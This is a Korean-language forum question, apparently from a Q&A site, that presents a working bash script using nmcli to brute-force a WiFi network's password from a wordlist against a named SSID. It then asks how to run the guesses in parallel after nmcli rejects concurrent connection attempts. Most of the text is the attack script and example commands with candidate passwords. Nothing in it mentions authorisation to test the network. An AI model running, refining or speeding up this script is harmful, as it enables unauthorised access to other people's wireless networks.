저는 최근 nmcli를 사용하여 명령줄 인터페이스(CLI)에서 WiFi 네트워크에 직접 연결할 수 있다는 사실을 발견했습니다. 이것은 우리가 무차별 대입 스크립트를 개발하기 위해 이것을 이용할 수 있는지 궁금합니다. 제공된 코드 조각은 제가 수행하려는 일반적인 프로세스를 보여줍니다.
connect_to_wifi() {
local ssid="$1"
local password="$2"
echo -e "\e[92mTrying Password: $password\e[0m"
# Establish connection to WiFi network using nmcli
sudo nmcli device wifi connect "$ssid" password "$password" > /dev/null 2>&1
# Check connection status
if [ $? -eq 0 ]; then
echo ""
echo -e "\e[33mSuccessfully connected to $ssid with password $password\e[0m"
exit 0
else
return 1
fi
}
bruteforce_wifi() {
local ssid="$1"
local password_file="$2"
# Verify if SSID is provided
if [ -z "$ssid" ]; then
echo "Error: SSID is empty."
exit 1
fi
# Use default password file if not specified
password_file="${password_file:-pass.txt}"
# Check existence of file
if [ ! -f "$password_file" ]; then
echo "Error: File $password_file not found."
exit 1
fi
# Read passwords from file and attempt WiFi connection
while IFS= read -r password; do
connect_to_wifi "$ssid" "$password"
done < "$password_file"
}
이제 이 bruteforce_wifi
기능은 원하는 SSID에 대해 무차별 대입 공격을 시작할 수 있습니다 bruteforce_wifi Denbroadband pass.txt
. 예를 들어 이 명령은 성공적으로 실행되어 각 비밀번호를 하나씩 차례로 시도합니다.
그런데 스레드를 구현하려고 할 때 문제가 발생합니다.
sudo nmcli device wifi connect Denbroadband password 238112120 & # '&' is used to place it in the background
sudo nmcli device wifi connect Denbroadband password 329814298
두 번째 명령의 출력은 다음과 같습니다.Error: Connection activation failed: New connection activation was enqueued.
이 문제에 대한 잠재적인 해결 방법을 알아보고 싶습니다. 또한 핸드셰이크가 캡처되지 않고 나중에 무차별 대입 공격으로 크랙되는 이유를 묻는 사람이 있다면, 제 호기심은 핸드셰이크에 의존하지 않는 WiFi 네트워크에서 전통적인 무차별 대입 방법이 가능한지 여부를 아는 데 있다는 점에 주목할 가치가 있습니다.